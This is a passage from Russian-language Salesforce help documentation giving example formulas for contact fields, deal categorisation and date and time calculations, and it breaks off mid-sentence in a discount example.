MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

Примеры формул: управление контактами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Процент скидки для организации контакта

Данная формула отображает поле организации Discount Percent на странице
контактов.

Account.Discount_Percent__c

Имя организации контакта

Данная формула отображает стандартное поле «Имя организации» на странице контактов.

Account.Name

Телефон организации контакта

Данная формула отображает стандартное поле «Тел. организации» на странице контактов.

Account.Phone

Рейтинг организации контакта

Данная формула отображает поле «Рейтинг организации» на странице контактов.

CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")
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Веб-сайт организации контакта

Данная формула отображает стандартное поле «Веб-сайт организации» на странице контактов.

Account.Website

Длинный URL-адрес веб-сайта организации может быть заменен нужной меткой (например, Click Here) посредством
функции HYPERLINK. Например:

IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)

Кроме того, данная формула добавляет компонент http:// или https:// при его отсутствии в поле URL-адреса.

Профиль LinkedIn™ контакта

Система позволяет настраивать ссылку, отображающуюся на странице профиля контакта и открывающую профиль
LinkedIn. Для этого, выполните указанные ниже действия.

1. Откройте страницу «Кнопки, ссылки и действия» посредством параметров управления контактами.

2. Нажмите кнопку «Создать кнопку или ссылку».

3. Заполните поле «Метка»  (например, «СсылкаLinkedIn»).

4. Введите даннуюформулу в поле содержимого.

http://www.linkedin.com/search/fpsearch?type=people&keywords
={!Contact.FirstName}+{!Contact.LastName}

5. Нажмите кнопку «Сохранить».

Помните, что данная ссылка должна быть добавлена в макет страницы контактов.

Присвоение идентификационного номера контакта

Даннаяформулаотображаетпервыепять символовимениипоследниечетыресимволаномерасоциальногообеспечения,
разделенные тире. Обратите внимание, что данный пример использует настраиваемое текстовое поле SSN.

TRIM(LEFT(LastName, 5)) &
"-" & TRIM(RIGHT(SSN__c, 4))

Предпочтительный телефон контакта

Даннаяформулаотображаетпредпочтительныйспособсвязисконтактомвсвязанномспискеконтакта (рабочийтелефон,
домашнийтелефонилимобильныйтелефон) наоснове значения, выбранноговнастраиваемомраскрывающемся списке
Preferred Phone.

CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
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"Mobile", "m. " & MobilePhone,
"No Preferred Phone")

Приоритет контакта

Данная формула оценивает важность контакта на основе рейтинга организации и должности контакта. Если рейтингу
организации задано значение Hot или название должности начинается со слова Executive, то приоритет контакта
оценивает как высокий (P1). Если рейтингу организации задано значение Warm или название должности начинается со
слова VP, то приоритет контакта оценивает как средний (P2). Если рейтингу организации задано значение Cold, то
приоритет контакта оценивает как низкий (P3).

IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",

IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",

IF(ISPICKVAL(Account.Rating, "Cold"), "P3",

"P3")
)
)

Код Yahoo! контакта

Даннаяформула отображает гиперактивный значок Yahoo! Messenger, указывающийна вход пользователя в службу. При
нажатии значка Yahoo! Messenger открывается диалоговое окно. Данный пример использует настраиваемое текстовое
поле контактов Yahoo Name, позволяющее сохранять код Yahoo! Messenger контакта.

HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c &
"&m;=g&t;=0", "Yahoo"))

Динамическое форматирование адреса

Данное поле формулы отображает отформатированный почтовый адрес контакта в стандартномформате, включая
пробелы и разрывы строк в соответствии с региональными настройками.

CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,

"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")
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Телефонный код страны

Данная формула определяет телефонный код страны контакта на основе поля почтового адреса «Страна в почтовом
адресе».

CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")

Неотформатированный номер телефона

Данная формула удаляет круглые скобки и тире из номеров телефонов, относящихся к Северной Америке. Данный
алгоритм является обязательным для некоторых программ автонабора.

IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

Примеры формул: категоризация данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Размер сделки: крупные и мелкие сделки

Даннаяформулавозвращаетзначение Large Deal длясделоксостоимостьюболее 1 000 000
рублей или значение Small Deal для всех остальных сделок.

IF(Sales_Price__c > 1000000,
"Large Deal",
"Small Deal")

Размер сделки: мелкие сделки

Даннаяформулаотображает значение Small, еслиценаиколичествонепревышаютединицы. Впротивномслучае данное
поле отображается пустым.

IF(AND(Price<1,Quantity<1),"Small", null)

Категоризация продуктов

Данная формула проверяет содержимое настраиваемого текстового поля Product_Type и возвращает значение Parts
для любого продукта, содержащего слово part. В противном случае возвращается значение Service. Обратите внимание,
что значения чувствительнык регистру, поэтому, еслиполе Product_Type содержит значение Part или PART, то данная
формула возвращает значение Service.

IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")
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Использование даты и значений даты/времени в формулах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Формулы даты могут использоваться для управления сроками платежа,
продолжительностью контрактов или любыми другими функциями организации,
зависящимиот времениили даты. Датымогут использовать одиниз двух типов данных:
«Дата» и «Дата/время». Как правило, значения даты используют тип данных «Дата»,
хранящий сведения о годе, месяце и дне. Некоторые поля (например, CreatedDate)
используют тип данных «Дата/время», хранящий сведения о годе, месяце, дне и времени
по Гринвичу, но отображающий их в часовом поясе пользователя. При просмотре в
отчетах или на страницах сведений о записях поля типа «Дата» и «Дата/время»
форматируются согласно региону пользователя.

Чтобы вычислить будущую дату или прошедшее время между двумя датами, примените ко значениям типа «Дата» и
«Дата/время» математические операции (например, сложение или вычитание). Например, чтобы определить разницу
между двумя исходными значениями в днях (тип данных «Число»), отнимите одну дату от другой. Чтобы вычислить
десятичное значение, определяющее разницу в днях, часах и минутах, выполните аналогичную операцию над двумя
значениями типа «Дата/время».

Например, разница между двумя значениями типа «Дата/время», выраженная десятичным числом «5,52», указывает, что
промежуток между двумя значениями составляет 5 дней, 12 часов (0,5 дня) и 28 минут (0,02 дня). Поля типа «Дата» и
«Дата/время» могут дополняться числовыми значениями. Например, операция TODAY() + 3 прибавляет к текущей
дате три дня. Дополнительную информацию и примеры использования дат см. в разделе «Типичные формулы даты».

Врассмотренныхпримерахиспользуютсяпеременные date и date/time, соответствующиефактическимполямили
значениям типа «Дата» и «Дата/время».

Помните, что размер сложных функций даты может превышать размер текстовых или числовых функцийформулы,
препятствуя использованию допустимого размера компиляцииформулы. Дополнительную информацию о данной
проблеме см. в документе «Советы по сокращению размера формулы».

Функции TODAY() и NOW()

Функция TODAY() возвращает текущийдень, месяци год как типданных «Дата». Даннаяфункцияможетиспользоваться
для вычисления количества прошедших дней, определения будущей даты или отображения текущей даты.

Функция NOW() возвращает текущуюдату и время как тип данных «Дата/время». Даннаяфункцияможет использоваться
в формулах, содержащих не только дату, но и время.

Дополнительнуюинформациюопреобразованиизначенийтипа «Дата» и «Дата/время» см. вподразделе «Преобразование
значений типа "Дата" и "Дата/время"».

Функция DATE()

Функция DATE() возвращает значение типа «Дата», учитывая год, месяц и день. Числовые значения года, месяца и дня,
а также функции YEAR(), MONTH() и DAY(), являются допустимыми параметрами функции DATE(). Например,
функция DATE( 2013, 6, 1 ) возвращает значение «1 июня 2013 года». Аналогичная функция DATE( YEAR(
TODAY() ), MONTH( TODAY() ) + 3, 1) возвращает значение типа «Дата», соответствующее первому дню
предстоящего месяца (плюс 3 месяца) текущего года, при условии, что дата является допустимой (например, месяцу
соответствует число от 1 до 12).

В противном случае функция DATE() возвращает ошибку. При использовании значений типа «Дата» рекомендуем
всегда выполнятьпроверкунаналичиеошибок. Дополнительнуюинформациюометодахобработкинедопустимыхдат
см. в разделе «Типичные формулы даты».
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Преобразование значений типа «Дата/время» в значения типа «Дата» (или наоборот)

Типыданных «Дата» и «Дата/время» неявляютсявзаимозаменяемыми. Преждечемвыполнитьоперациимеждузначениями
типа «Дата» и «Дата/время», рекомендуем преобразовать одно из значений и убедиться, что оба значения используют
один тип данных. Помните, что некоторые функции (например, YEAR(), MONTH() и DAY()) применяются только к
значениям типа «Дата», поэтому значения типа «Дата/время» должны быть преобразованы первыми.

Чтобы преобразовать значение типа «Дата/время» в значение типа «Дата», воспользуйтесь функцией DATEVALUE(
date/time ). Например, YEAR( DATEVALUE( date/time ) ) ) позволяет извлечь год из значения типа
«Дата/время».

Чтобыпреобразовать значениетипа «Дата» в значениетипа «Дата/время», воспользуйтесьфункцией DATETIMEVALUE(
date ). Данная функция задает стандартное время (12:00 по Гринвичу), которое при просмотре записи отображается
вчасовомпоясе соответствующегопользователя. Например, еслипользовательнаходится вСан-Франциско, тофункция
DATETIMEVALUE( TODAY() ) возвращает значение «17:00» предыдущего дня (при переходе на летнее время) взамен
значения «12:00» текущего дня. Дополнительную информацию см. в подразделе «Примечание по использованию поля
типа "Дата/время" и часовых поясов».

Преобразование значений типа «Дата» в текст (или наоборот)

Чтобы добавить дату как часть строки, преобразуйте значение типа «Дата» в текст посредством функции TEXT().
Например, чтобы извлечь текущую дату в виде текста, воспользуйтесь формулой ниже.

"Today's date is " & TEXT( TODAY() )

Данная формула возвращает дату в формате ГГГГ-ММ-ДД вместо зависимого от региона формата. Чтобы изменить
формат, рекомендуем сначала извлечь день, месяц и год из даты, а затем использовать их в нужномформате. Например:

"Today's date is " & TEXT( MONTH( date ) ) & "/" & TEXT( DAY( date ) ) & "/" & TEXT( YEAR(
date ) ) )

Чтобы использовать строковое значение в других полях типа «Дата» и формулах, рекомендуем преобразовать текст в
дату. Текст должен быть отформатирован как дата (ГГГГ-ММ-ДД). Чтобы извлечь значение типа «Дата», воспользуйтесь
формулой ниже.

DATEVALUE( "YYYY-MM-DD" )

Преобразование значений типа «Дата/время» в текст (или наоборот)

Чтобыдобавить значениятипа «Дата/время» в строку, воспользуйтесьфункцией TEXT(). Помнитеоразличияхвчасовых
поясах. Например, воспользуйтесь формулой ниже.

"The current date and time is " & TEXT( NOW() )

Данная формула содержит функцию NOW(), соответствующую смещению относительно Гринвича. Как правило,
значениефункции NOW() отображается вчасовомпоясе соответствующегопользователя, нозначение, преобразованное
в текст, не подлежит данному преобразованию. Например, данная формула, выполняемая 1 августа в 17:00 по часовому
поясу Сан-Франциско (GMT-7), возвращает следующий результат: «The current date and time is 2013–08–02 00:00:00Z».

Символ «Z», добавляемый при преобразовании значения типа «Дата/время» в текст, обозначает время по Гринвичу.
Функция TEXT( date/time ) возвращает символ «Z» при наличии пустого поля. Прежде чем преобразовать в текст,
проверьте значение типа «Дата/время», которое может быть пустым.

IF(
ISBLANK( date/time ),
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"",
TEXT( date/time )
)

Чтобыпреобразовать строку в значениетипа «Дата/время», воспользуйтесьфункцией DATETIMEVALUE(), передающей
строку в формате ГГГГ-ММ-ДД ЧЧ:ММ:СС. Данный метод возвращает значение типа «Дата/время» по Гринвичу.

Примечание по использованию поля типа «Дата/время» и часовых поясов

Значения типа «Дата» и «Дата/время» хранятся по Гринвичу. При сохранении записи значения полей отображаются по
Гринвичу, но при просмотре в отчетах и на страницах сведений о записях данные значения отображаются в часовом
поясе соответствующего пользователя. Данный алгоритм не является проблемой при преобразовании дат, так как
преобразование значения типа «Дата/время» в значение типа «Дата» возвращает аналогичное значение типа «Дата».

Темнеменее, прииспользованииполейизначенийтипа «Дата/время» преобразованиевсегда выполняетсяпоГринвичу,
а не часовому поясу пользователя. При вычитании одного стандартного поля типа «Дата/время» из другого оба поля
используют одинаковый часовой пояс. Если одно из используемых значений является результатом преобразования
текстового значения или значения типа «Дата» в значение типа «Дата/время», то результаты могут различаться.

Например, пользовательизСан-Франциско заполняетнастраиваемоеполе Date_Time_c типа «Дата/время» значением
«12:00 2 августа 2013 года». Данноезначениесохраняетсякак «2013–08–02 07:00:00Z», таккакразницавовремениотносительно
Гринвича составляет 7 часов. Пользователь просматривает запись в 00:00 1 августа по Тихоокеанскому летнему времени;
при этом выполняется формула ниже.

Date_Time_c - NOW()

При вычислениифункция NOW() заменяется значением «2013–08–01 19:00:00Z», которое затем вычитается из значения
«2013–08–02 07:00:00Z», а формула возвращает результат «0,5» (12 часов).

Допустим, что формула преобразует строку «2013–08–01 12:00:00» в значение типа «Дата/время» взамен использования
функции NOW().

Date_Time_c - DATETIMEVALUE( "2013-08-01 12:00:00" )

В данном случае функция DATETIMEVALUE( “2013–08–01 12:00:00” ) соответствует значению «2013–08–01
12:00:00Z» и возвращает результат «0,79167» (19 часов).

Данная формула не позволяет определять часовой пояс пользователя. При нахождении всех пользователей в одном
часовом поясе рекомендуем скорректировать разницу между часовым поясом пользователей и Гринвичем путем ее
прибавления или вычитания из преобразованных значений. Тем не менее, формула не позволяет учитывать переход на
летнее время, применяемый к некоторым часовым поясам, а также корректно обрабатывать ежегодно меняющиеся даты
начала и окончания перехода. Рекомендуем использовать Apex для транзакций, требующих преобразования значений
типа «Дата/время» в текстовые значения или значения типа «Дата», либо наоборот.

Типичные формулы для значений типа «Дата» и «Дата/время»

Ниже перечислены примеры практического применения формул для значений типа «Дата» и «Дата/время».

• Поиск дня, месяца или года по дате

• Определение високосного года

• Поиск квартала, содержащего дату

• Поиск недели года, содержащей дату

• Поиск двух дат, относящихся к одному месяцу
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• Поиск последнего дня месяца

• Отображение месяца строкой

• Поиск и отображение дня недели по дате

• Поиск следующего дня недели после даты

• Поиск количества дней между двумя датами

• Поиск количества рабочих дней между двумя датами

• Добавление дней, месяцев и лет к дате

• Добавление рабочих дней к дате

• Поиск часа, минуты или секунды по полю типа «Дата/время»

• Поиск прошедшего времени между полями типа «Дата/время»

• Поиск количества рабочих часов между двумя полями типа «Дата/время»

Типичные формулы даты

СМ. ТАКЖЕ:

Советы по созданиюформул

Типичные формулы даты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Поиск дня, месяца или года по дате

Чтобы возвратить соответствующие числовые значения, воспользуйтесь функциями
DAY( date ), MONTH( date ) и YEAR( date ). Заменитеполе date значением
типа «Дата» (например, TODAY()).

Чтобы использовать данные функции со значениями типа «Дата/время», рекомендуем
преобразоватьданныезначениявдатыпосредствомфункции DATEVALUE(). Например,
DAY( DATEVALUE( date/time )).

Определение високосного года

Данная формула определяет високосный год. Високосным считается только тот год, который может быть разделен на
400 или 4, но не на 100.

OR(
MOD( YEAR( date ), 400 ) = 0,
AND(
MOD( YEAR( date ), 4 ) = 0,
MOD( YEAR( date ), 100 ) != 0

)
)
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Поиск квартала, содержащего дату

Даннаяформулапозволяетопределитьстандартныйквартал, содержащийвыбраннуюдату. Даннаяформулавозвращает
номер квартала (1–4), содержащего поле date, путем деления текущего месяца на значение «3» (количество месяцев в
каждом квартале) и выбора верхнего значения.

CEILING( MONTH ( date ) / 3 )

Смещенные кварталы обрабатываются аналогичнойформулой; единственным отличием является смещение месяца
выбраннойдатынаколичествомесяцев, прошедшихмеждуянваремипервымкварталомфинансовогогода. Чтобынайти
квартал, содержащий выбранную дату, при смещении первого квартала на февраль, воспользуйтесь примером ниже.

CEILING( ( MONTH ( date ) - 1 ) / 3)

Чтобы проверить текущий квартал на наличие выбранной даты, добавьте операцию проверки, позволяющую сравнить
год и квартал выбранной даты с годом и кварталом функции TODAY().

AND(
CEILING( MONTH( date ) / 3 ) = CEILING( MONTH( TODAY() ) / 3 ),
YEAR( date ) = YEAR( TODAY() )

)

Поиск недели года, содержащей дату

Чтобы найти номер недели года, содержащей выбранную дату, воспользуйтесь формулой ниже.

IF(
CEILING( ( date - DATE( YEAR( date ), 1, 1) + 1) / 7) > 52,
52,
CEILING( ( date - DATE( YEAR( date ), 1, 1) + 1) / 7)

)

Чтобы найти текущую неделю, определите количество дней в текущем году и разделите полученное значение на «7».
Оператор IF() гарантирует, что номер недели, возвращаемыйформулой, не превышает значения «52». Например,
формула возвращает значение «52» для выбранной даты «31 декабря» выбранного года, несмотря на то, что количество
недель, следующих за неделей января, превышает значение «52».

Поиск двух дат, относящихся к одному месяцу

Чтобыопределитьпринадлежностьдвухдаткодномумесяцу (например, дляправилапроверкидатызакрытиявозможности
на принадлежность текущему месяцу), воспользуйтесь формулой ниже.

AND(
MONTH( date_1 ) == MONTH( date_2 ),
YEAR( date_1 ) == YEAR( date_2 )

)

Поиск последнего дня месяца

Чтобы найти последний день месяца, найдите первый день следующего месяца и отнимите один день.

IF(
MONTH( date ) = 12,
DATE( YEAR( date ), 12, 31 ),
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DATE( YEAR( date ), MONTH ( date ) + 1, 1 ) - 1
)

Отображение месяца строкой

Чтобы возвратить месяц в виде текстовой строки, воспользуйтесь формулой ниже.

CASE(
MONTH( date ),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
"December",

)

При использовании мультиязычной организации имена месяцев могут быть заменены настраиваемой меткой.

CASE(
MONTH( date ),
1, $Label.Month_of_Year_1,
2, $Label.Month_of_Year_2,
3, $Label.Month_of_Year_3,
4, $Label.Month_of_Year_4,
5, $Label.Month_of_Year_5,
6, $Label.Month_of_Year_6,
7, $Label.Month_of_Year_7,
8, $Label.Month_of_Year_8,
9, $Label.Month_of_Year_9,
10, $Label.Month_of_Year_10,
11, $Label.Month_of_Year_11,
$Label.Month_of_Year_12

)

Поиск и отображение дня недели по дате

Чтобы найти день недели по значению типа «Дата», отнимите дату, являющуюся воскресеньем (например, 7 января
1900 года), от выбранной даты (например, TODAY()). Данное действие позволяет определить разницу в днях. Функция
MOD() определяет остаток деления данного результата на «7», позволяя получить числовое значение дня недели — от
«0» (воскресенье) до «6» (суббота). Чтобы возвратить найденный день недели в виде текстовой строки, воспользуйтесь
формулой ниже.

CASE(
MOD( date - DATE( 1900, 1, 7 ), 7 ),
0, "Sunday",
1, "Monday",
2, "Tuesday",
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3, "Wednesday",
4, "Thursday",
5, "Friday",
"Saturday"

)

Обратите внимание, что данная формула действует только для дат, следующих за 7 января 1900 года. Чтобы найти день
недели для более ранней даты, воспользуйтесь аналогичнойформулой, но выберите любое другое предшествующее
воскресенье (например, 5 января 1800 года).

Если началом недели является другой день, рекомендуем настроить даннуюформулу. Например, при использовании
недели, начинающейся в понедельник, введите дату 8 января 1900 года. См. новуюформулу ниже.

CASE(
MOD( date - DATE( 1900, 1, 8 ), 7 ),
0, "Monday",
1, "Tuesday",
2, "Wednesday",
3, "Thursday",
4, "Friday",
5, "Saturday",
"Sunday"

)

При использовании мультиязычной организации имена дней недели могут быть заменены переменной (например,
$Label.Day_of_Week_1) — подобно формуле для извлечения имени месяца.

Поиск следующего дня недели после даты

Чтобы найти дату следующего экземпляра отдельного дня недели, который следует за выбранной датой, определите
количество дней недели, составляющее разницу между полями date и day_of_week, — от «0» (воскресенье) до «6»
(суббота). Чтобы определить дату для значения поля day_of_week, добавьте полученную разницу к текущей дате.
Даннаяформуласодержитоператор IF(), которыйобрабатываетслучаи, где значениеполя day_of_week предшествует
днюнедели, соответствующемузначениюполя date  (например, поле date заменяетсячетвергом, аполе day_of_week
понедельником), путем добавления «7» к полученной разнице.

date + ( day_of_week - MOD( date - DATE( 1900, 1, 7 ), 7 ) )
+
IF(
MOD( date - DATE( 1900, 1, 7 ), 7 ) >= day_of_week,
7,
0

)

В зависимости от текущих требований, значение поля day_of_week может быть заменено постоянной или другим
полем.

Поиск количества дней между двумя датами

Чтобы найти количество дней, прошедших между двумя датами (date_1 и date_2), отнимите более раннюю дату от
более поздней даты: date_1 — date_2.
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Чтобы определить дату, прошедшую определенное количество дней назад, рекомендуем немного изменить данную
формулу. Например, если поле содержит дату, прошедшую более 30 дней назад, то результат формулы должен быть
истинным. В противном случае результат формулы должен быть ложным. См. даннуюформулу ниже.

TODAY() - 30 > date

Поиск количества рабочих дней между двумя датами

Чтобы вычислить количество рабочих дней, прошедших между двумя датами, рекомендуем воспользоваться более
сложнойформулой, чемпривычисленииобщегоколичествапрошедшихдней. Выберителюбойпрошедшийпонедельник
в качестве опорной даты, а затем определите количество полных и неполных недель, прошедших между опорной и
выбранной датами. При использовании пятидневной рабочей недели данные значения умножаются на «5», после чего
одно значение вычитается из другого.

(5 * ( FLOOR( ( date_1 - DATE( 1900, 1, 8) ) / 7 ) ) + MIN( 5, MOD( date_1 - DATE( 1900,
1, 8), 7 ) ) )
-
(5 * ( FLOOR( ( date_2 - DATE( 1900, 1, 8) ) / 7 ) ) + MIN( 5, MOD( date_2 - DATE( 1900,
1, 8), 7 ) ) )

Даннаяформуласодержитполя date_1  (болеепоздняядата) и date_2  (болееранняядата). Чтобывычислитьколичество
рабочихднейприиспользованииболеекороткойилиболеедлиннойрабочейнедели, рекомендуемзаменитьвсе значения
«5» нужным количеством рабочих дней.

Добавление дней, месяцев и лет к дате

Чтобы добавить определенное количество дней к дате, просто добавьте нужное число к дате. Например, чтобы добавить
пять дней к дате, воспользуйтесь следующейформулой: date + 5.

Чтобы добавить года к дате, выполните аналогичное действие. Помните, что будущая дата может быть недопустимой.
Например, формула возвращает недопустимую дату при добавлении пяти лет к дате «29 февраля» (високосный год).
Формула ниже добавляет поле num_years к полю date, одновременно проверяя, используется ли дата «29 февраля»,
и, относится ли будущая дата к високосному году. При выполнении данных условийформула возвращает дату «1 марта»
будущего года. В противном случае, формула возвращает тот же месяц и день будущего года, определяемого полем
num_years.

IF(
AND(
MONTH( date ) = 2,
DAY( date ) = 29,
NOT(
OR(
MOD( YEAR( date ), 400 ) = 0,
AND(
MOD( YEAR( date ), 4 ) = 0,
MOD( YEAR( date ), 100 ) != 0

)
)

)
),
DATE( YEAR( date ) + num_years, 3, 1),
DATE( YEAR( date ) + num_years, MONTH( date ), DAY( date ) )

)
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Чтобы добавить месяца к дате, рекомендуем воспользоваться более сложной формулой, так как месяца различаются по
продолжительности, а цикличность месяцев возобновляется каждый год. Другими словами, дата, допустимая в одном
месяце (31 января), может быть недопустимой в другом месяце (31 февраля). Чтобы избежать подобной ситуации,
рекомендуем считать продолжительность каждого месяца как 365/12 дней.

date + ( ( 365 / 12 ) * Number_months )

Несмотря на точность оценки, данная формула не возвращает точную дату. Например, при добавлении двух месяцев к
дате «30 апреля» формула возвращает дату «29 июня» вместо даты «30 июня». Точность возвращаемой даты определяется
параметрами организации. Другими словами, какую дату должна вернутьформула при добавлении одного месяца к дате
«31 января»: «28 февраля» (последний день следующего месяца) или «2 марта» (30 дней после 31 января)?

Данная формула:

• возвращаетдату «1 марта», еслибудущиммесяцемявляетсяфевраль, а дата следует за 28 числом. Даннаячастьформулы
выполняет одинаковый алгоритм для високосных и невисокосных лет.

• возвращает первый день следующего месяца, если будущим месяцем является апрель, июнь, сентябрь или ноябрь, а
дата следует за 30 числом.

• возвращает точную дату в будущем месяце.

Формула ниже добавляет два месяца к выбранной дате. Чтобы применить другие алгоритмы для последних дат месяца,
рекомендуем изменить условия данной формулы.

DATE(
YEAR( date ) + FLOOR( ( MONTH ( date ) + 2 - 1 ) / 12 ),
MOD( MONTH ( date ) + 2 - 1 +
IF( DAY ( date ) > CASE( MOD( MONTH( date ) + 2 - 1, 12 ) + 1,
2, 28,
4, 30,
6, 30,
9, 30,
11, 30,
31 ), 1, 0 ), 12 ) + 1,

IF( DAY( date ) > CASE( MOD( MONTH( date ) + 2 - 1, 12 ) + 1,
2, 28,
4, 30,
6, 30,
9, 30,
11, 30,
31 ),

1, DAY( date )
)

)

Чтобы гарантировать выполнение некоторого действия перед вычисленной датой, если данные формулы используются
для вычисления дат истечения срока действия, рекомендуем отнять один день от возвращаемого значения.

Добавление рабочих дней к дате

Данная формула добавляет три рабочих дня к выбранному значению поля date.

CASE(
MOD( date - DATE( 1900, 1, 7 ), 7 ),
3, date + 2 + 3,
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4, date + 2 + 3,
5, date + 2 + 3,
6, date + 1 + 3,
date + 3

)

Даннаяформулаопределяет деньнедели, соответствующийзначениюполя date. Еслидате соответствует среда, четверг
или пятница, то формула учитывает выходные дни и добавляет к дате пять календарных дней (два выходных дня и три
рабочих дня). Если поле date заменяется субботой, рекомендуем добавить четыре календарных дня. Если дате
соответствует воскресенье, понедельник или вторник, рекомендуем добавить три дня. Данная формула позволяет легко
изменять нужное количество рабочих дней. Чтобы настроить даннуюформулу, рекомендуем воспользоваться советами
по извлечению дня недели.

Поиск часа, минуты или секунды по полю типа «Дата/время»

Чтобы извлечь час, минуту и секунду из поля типа «Дата/время» в виде числового значения, воспользуйтесь формулами
ниже, гдеполе TZoffset заменяетсяразницеймеждучасовымпоясомпользователяиГринвичем. Дляизвлечениячасов
при использовании 24-часового формата:

VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )

Для извлечения часов при использовании 12-часового формата:

IF(
OR(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 0,
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 12

),
12,
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )
-
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
0,
12

)
)

Для извлечения минут:

VALUE( MID( TEXT( date/time - TZoffset ), 15, 2 ) )

Для извлечения секунд:

VALUE( MID( TEXT( date/time - TZoffset ), 18, 2 ) )

Чтобы извлечь значение AM или PM в виде строки, воспользуйтесь формулой ниже.

IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
"AM",
"PM"

)
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Чтобы извлечь время в виде строки формата ЧЧ:ММ:СС A/PM, воспользуйтесь формулой ниже.

IF(
OR(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 0,
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) = 12

),
"12",
TEXT( VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) )
-
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
0,
12

)
)

)
& ":" &
MID( TEXT( date/time - TZoffset ), 15, 2 )
& ":" &
MID( TEXT( date/time - TZoffset ), 18, 2 )
& " " &
IF(
VALUE( MID( TEXT( date/time - TZoffset ), 12, 2 ) ) < 12,
"AM",
"PM"

)

При добавлении времени в поля формулы рекомендуем учитывать разницу между часовым поясом организации и
Гринвичем. Дополнительнуюинформациюосмещениичасовогопояса, используемомвданнойформуле, см. вподразделе
«Примечание по использованию поля типа "Дата/время" и часовых поясов» на странице 4702.

Поиск прошедшего времени между полями типа «Дата/время»

Чтобы узнать разницу между двумя значениями даты в виде числа, вычтите одну из другой, как указано далее: date_1
— date_2.

Чтобынайтипрошедшеевремямеждудвумя значениямитипа «Дата/время», рекомендуемвоспользоватьсяболее сложной
формулой, Эта формула преобразует разницу между двумя значениями дата/время, datetime_1 и datetime_2, в
дни, часы и минуты.

IF(
datetime_1 - datetime_2 > 0 ,
TEXT( FLOOR( datetime_1 - datetime_2 ) ) & " days "
& TEXT( FLOOR( MOD( (datetime_1 - datetime_2 ) * 24, 24 ) ) ) & " hours "
& TEXT( ROUND( MOD( (datetime_1 - datetime_2 ) * 24 * 60, 60 ), 0 ) ) & " minutes",
""

)

Поиск количества рабочих часов между двумя полями типа «Дата/время»

Формуладляпоискарабочихчасовмеждудвумязначениямитипа «Дата/время» расширяетформулудляпоискапрошедших
рабочих дней. По аналогии, данная формула использует значение типа «Дата/время» в качестве опорного (например,
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16:00 по Гринвичу 8 января 1900 года) и вычисляет соответствующие разницы относительно выбранных дат. Формула
округляет найденное значение до ближайшего часа и использует 8-часовой рабочий день (9:00—17:00).

ROUND( 8 * (
( 5 * FLOOR( ( DATEVALUE( date/time_1 ) - DATE( 1900, 1, 8) ) / 7) +
MIN(5,
MOD( DATEVALUE( date/time_1 ) - DATE( 1900, 1, 8), 7) +
MIN( 1, 24 / 8 * ( MOD( date/time_1 - DATETIMEVALUE( '1900-01-08 16:00:00' ), 1 ) )

)
)
)

-
( 5 * FLOOR( ( DATEVALUE( date/time_2 ) - DATE( 1900, 1, 8) ) / 7) +
MIN( 5,
MOD( DATEVALUE( date/time_2 ) - DATE( 1996, 1, 1), 7 ) +
MIN( 1, 24 / 8 * ( MOD( date/time_2 - DATETIMEVALUE( '1900-01-08 16:00:00' ), 1) )

)
)
)
),

0 )

Чтобы вычислить количество рабочих часов при использовании более длинного или более короткого рабочего дня,
рекомендуем заменить все значения «8» нужным количеством рабочих часов. При нахождении в другом часовом поясе
илиначалерабочегоднявдругое времярекомендуемзаменитьопорноевремявременемначаларабочегодняпоГринвичу.
Дополнительную информацию см. в подразделе «Примечание по использованию поля типа "Дата/время" и часовых
поясов».

СМ. ТАКЖЕ:

Использование даты и значений даты/времени в формулах

Примеры полей сложной формулы

Советы по созданиюформул

Примеры формул: предоставление скидки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Скидка по обслуживанию и ремонту

Данное поле формулы использует два настраиваемых поля валюты: Maintenance
Amount и Services Amount. Даннаяформулаотображает значение Discounted, если
